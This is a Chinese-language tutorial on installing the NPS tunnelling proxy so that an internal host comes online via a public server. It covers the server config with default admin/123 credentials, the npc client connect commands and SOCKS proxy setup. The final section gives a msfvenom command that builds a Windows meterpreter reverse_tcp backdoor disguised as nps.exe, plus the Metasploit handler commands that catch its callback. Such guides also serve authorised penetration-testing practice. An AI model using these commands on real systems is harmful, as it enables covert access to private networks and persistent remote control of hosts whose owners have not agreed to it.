Nps;自定义上线;
1、简述;
1;nps;是一款轻量级、高性能、功能强大的内网穿透代理服务器
2;功能;目前支持tcp、udp流量转发;可支持任何tcp、udp上层协议;访问内网网站、本地支付接口调试、ssh访问、远程桌面;内网DNS解析等;;此外还支持内网http代理、内网socks5代理、p2p等;并带有功能强大的web管理端。
3;优点;与Frp类似;但是具有图形化管理界面;更方便配置
4;工具;
client代表客户端;放到内网主机
server代表服务端;放到公网服务器上
;根据内网主机下载;
Releases · ehang-io/nps (github.com)https://github.com/ehang-io/nps/releases/
注;
错误情况
需要登陆GitHub后;才能下载
如果下载过慢;使用加速器;然后上传到服务器
;有白嫖的加速器;
1、准备;
1;公网服务器
2;内网主机
3;工具下载
如果不知道自己虚拟机是何种框架的
直接在虚拟机设置中查看CD/DVD名称;在名称未改情况下;
4;实验环境
内网Linux-amd-64
服务器centos7
;所以我服务器、客户端就都下的Linux-amd-64;
登陆GitHub;加速器
下载完成
2、服务端配置;
1;上传服务端文件到服务器
我是解压之后上传的
选中文件;右键传输
2;安装Nps
进入到文件夹;使用xshell;
cd /linux_amd64_server
先给nps权限 sudo chmod 777 nps ;不然会报错;被拒绝;./nps install #linux nps.exe install #windows
3;修改配置文件
conf--->nps.conf
vim nps.conf修改的地方;
web的host、账号、密码和端口号
注意;
修改域名代理的端口;避免端口冲突
NPS的web页面默认端口8080;默认账号密码;admin/123
NPS的服务端和客户端进行连接的默认端口是8024;可修改;连接时使用修改后的端口;
NPS服务端开启的端口(即需要访问的VPS的端口)不在配置文件中;在web界面中进行配置
按i进行编辑 ;Linux知识点;appname = nps #HTTP(S) proxy port, no startup if empty http_proxy_ip=0.0.0.0 http_proxy_port=80 #域名代理http代理监听端口(修改端口;避免冲突) https_proxy_port=443 #域名代理https代理监听端口(修改端口;避免冲突) https_just_proxy=true #default https certificate setting https_default_cert_file=conf/server.pem https_default_key_file=conf/server.key ##bridge bridge_type=tcp #客户端与服务端连接的协议 bridge_port=8024 #服务端客户端通信端口;即客户端访问服务端的端口; bridge_ip=0.0.0.0 # Public password, which clients can use to connect to the server public_vkey=123 #客户端以配置文件模式启动时的密钥;设置为空表示关闭客户端配置文件连接模式 #Traffic data persistence interval(minute) #Ignorance means no persistence #flow_store_interval=1 log_level=7 #日志输出级别 #log_path=nps.log #Whether to restrict IP access, true or false or ignore #ip_limit=true #是否限制ip访问;true或false或忽略 #p2p #p2p_ip=127.0.0.1 #服务端IP;使用p2p模式必填 #p2p_port=6000 #p2p模式开启的udp端口 #web web_host=a.o.com #需要修改;改为服务器ip web_username=admin #web界面管理账号;可修改; web_password=123 #web界面管理密码;可修改; web_port = 8080 #web管理端口;访问该端口可以访问NPS后台;可修改; web_ip=0.0.0.0 web_base_url= #web管理主路径,用于将web管理置于代理子路径后面 web_open_ssl=false web_cert_file=conf/server.pem web_key_file=conf/server.key # if web under proxy use sub path. like http://host/nps need this. #web_base_url=/nps #Web API unauthenticated IP address(the len of auth_crypt_key must be 16) #Remove comments if needed #auth_key=test #web api密钥 auth_crypt_key =1234567812345678 #获取服务端authKey时的aes加密密钥;16位 #allow_ports=9001-9009,10001,11000-12000 #Web management multi-user login allow_user_login=false allow_user_register=false allow_user_change_username=false #extension allow_flow_limit=false allow_rate_limit=false allow_tunnel_num_limit=false allow_local_proxy=false allow_connection_num_limit=false allow_multi_ip=false system_info_display=false #cache http_cache=false http_cache_length=100 #get origin ip http_add_origin_header=false #pprof debug options #pprof_ip=0.0.0.0 #debug pprof 服务端IP #pprof_port=9999 #debug pprof 端口 #client disconnect timeout disconnect_timeout=60 #客户端连接超时;单位5s;默认值60;5mins;改完以后
按Esc
再输入:wq;回车
4;启动Nps;
nps start注意;
问题一;
当启动连接失败的时候
输入; nps ;会有报错信息;
8024端口被使用了;换一个端口;再重载配置文件;再启动
重载配置文件 ./nps reload失败了
问题二;
在客户端发现连接不上;应该是防火墙问题了
5;后台管理界面可以启动
输入ip:port
3、客户端配置
1;下贼合适内网主机版本的
我直接复制、粘贴到内网主机了
2;端口是否能连接
Linux;./npc -server=ip:port -vkey=服务端的验证密钥 Windows;npc.exe -server=ip:port -vkey=服务端的验证密钥客户端并还没有生成;这里测试端口是否能连接上
8024端口可以连通;没拒绝访问
;注;客户端未生成;服务端的验证密钥也是没有的;
拒绝就查看配置文件是否设置的一致;服务器端口是否打开
3;修改配置文件
如果修改过;主要是这3个修改
1、web管理界面
1;登陆nps后台
账号密码admin/123
(如果修改了的;使用自己修改的登陆)
换为中文;嘿嘿嘿
2;新建一个客户端
会生成唯一验证密钥;通过密钥将NPS的服务端和客户端连接起来
得到ID、唯一验证密钥
3;新增SOCKS代理
填上id、端口
服务端端口8024不能填;因为8024是连接客户端与服务端
我们需要重新写一个端口;访问服务端的这个端口;从而访问到内网
2、客户端上线
1;连接服务端;上线
Linux;./npc -server=ip:port -vkey=后台服务端生成的验证密钥 Windows;npc.exe -server=ip:port -vkey=后台服务端生成的验证密钥再次查看服务端后台
已经上线了;实验基本上完成了
2;访问内网主机
使用浏览器设置代理;然后访问内网主机
3、msf后门
生成后门;
msfvenom -p windows/meterpreter/reverse_tcp lhost=…… lport=3333 -f exe -o nps.exe ;注意是生成win、还是Linux的监听器;;注;lhos;服务器ip、lport;服务器端口;
监听后门;
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 run ;注意是win、还是Linux的监听器;;注;这个监听端口lport;与本地转发端口一致;